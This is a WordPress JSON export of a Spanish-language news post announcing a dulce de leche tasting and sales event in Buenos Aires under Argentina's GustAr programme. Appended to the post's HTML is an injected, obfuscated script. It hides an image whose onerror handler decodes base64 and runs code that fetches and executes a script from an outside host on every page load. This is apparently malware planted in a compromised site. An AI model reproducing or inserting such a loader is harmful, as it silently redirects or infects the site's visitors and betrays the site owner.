{"id":16745,"date":"2024-10-03T09:35:46","date_gmt":"2024-10-03T12:35:46","guid":{"rendered":"https:\/\/nubesmgzdigital.com.ar\/?p=16745"},"modified":"2025-08-13T15:45:17","modified_gmt":"2025-08-13T18:45:17","slug":"una-edicion-de-cocina-abierta-dedicada-al-dulce-de-leche","status":"publish","type":"post","link":"https:\/\/nubesmgzdigital.com.ar\/index.php\/2024\/10\/03\/una-edicion-de-cocina-abierta-dedicada-al-dulce-de-leche\/","title":{"rendered":"Una edici\u00f3n de Cocina Abierta dedicada al dulce de leche"},"content":{"rendered":"\n<h3 class=\"wp-block-heading has-white-color has-text-color has-background has-link-color wp-elements-313848bc5456046c512a7d98dde54803\" style=\"background-color:#575757\"><em>En el marco del Programa GustAr, habr\u00e1 degustaciones y venta del producto distintivo de la Argentina.<\/em><\/h3>\n\n\n\n<p>El Programa GustAr presenta\u00a0<strong>\u201cCocina Abierta: edici\u00f3n Dulce de leche\u201d<\/strong>\u00a0en el mes en que se celebra el D\u00eda Mundial del Dulce de Leche, -el 11 de octubre-, un\u00a0<strong>\u00edcono de la gastronom\u00eda argentina<\/strong>.<\/p>\n\n\n\n<p>Cocina Abierta reunir\u00e1 a elaboradores de dulce de leche y productos relacionados, se podr\u00e1\u00a0<strong>degustar, comprar y conocer sobre la diversidad de sabores y formas de producci\u00f3n<\/strong>\u00a0de estos productos regionales.<\/p>\n\n\n\n<p>En el evento habr\u00e1 varios tipos de dulce de leche y productos elaborados como\u00a0<strong>pasteler\u00eda, alfajores y colaciones<\/strong>. Tambi\u00e9n habr\u00e1 vinos, licores, quesos, embutidos, jugos e infusiones de las provincias de\u00a0<strong>Buenos Aires, Entre R\u00edos, Santa Fe, R\u00edo Negro y Salta<\/strong>.<\/p>\n\n\n\n<p>Adem\u00e1s, habr\u00e1 un sector con juguetes argentinos inspirados en animales aut\u00f3ctonos para que se\u00a0<strong>difundan los atractivos del pa\u00eds<\/strong>\u00a0a la par de la producci\u00f3n local del dulce de leche.<\/p>\n\n\n\n<p>El dulce de leche fue reconocido en 2002 por la Secretar\u00eda de Cultura de la Naci\u00f3n como&nbsp;<strong>\u201cPatrimonio Cultural Alimentario y Gastron\u00f3mico de la Argentina\u201d<\/strong>, por ser t\u00edpicamente argentino y por su consumo generalizado en todo el pa\u00eds.<\/p>\n\n\n\n<p>Este reconocimiento destaca al dulce de leche como una de las&nbsp;<strong>principales tradiciones culinarias de Argentina<\/strong>, para ser valorada y promovida a&nbsp;<strong>nivel internacional<\/strong>&nbsp;haciendo foco en su importancia cultural y su relevancia en el \u00e1mbito laboral y econ\u00f3mico.<\/p>\n\n\n\n<p><strong>Cocina Abierta<\/strong>&nbsp;es una propuesta enmarcada en el programa&nbsp;<strong>GustAr<\/strong>, una iniciativa conjunta entre la Secretar\u00eda de Turismo, Ambiente y Deportes, la Secretar\u00eda de Cultura y la Secretar\u00eda de Agricultura, Ganader\u00eda y Pesca, que busca revalorizar la producci\u00f3n agroalimentaria, el turismo gastron\u00f3mico y la cultura alimentaria de las distintas regiones de nuestro pa\u00eds.<\/p><p><\/p>\n\n\n\n<p><strong>\u00bfCu\u00e1ndo?<\/strong>\u00a04, 5 y 6 de octubre<br><strong>\u00bfA qu\u00e9 hora?<\/strong>\u00a0de 14 a 20 hs<br><strong>\u00bfD\u00f3nde?<\/strong>\u00a0Sarmiento 151, CABA.<br><em>Entrada libre y gratuita. Ingreso por orden de llegada.<\/em><\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><a href=\"https:\/\/www.argentina.gob.ar\/noticias\/una-edicion-de-cocina-abierta-dedicada-al-dulce-de-leche\" target=\"_blank\" rel=\"noreferrer noopener\"><img decoding=\"async\" src=\"https:\/\/www.argentina.gob.ar\/profiles\/argentinagobar\/themes\/argentinagobar\/argentinagobar_theme\/logo_argentina-azul.svg\" alt=\"\" style=\"width:345px;height:auto\"\/><\/a><\/figure>\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>En el marco del Programa GustAr, habr\u00e1 degustaciones y venta del producto distintivo de la Argentina. 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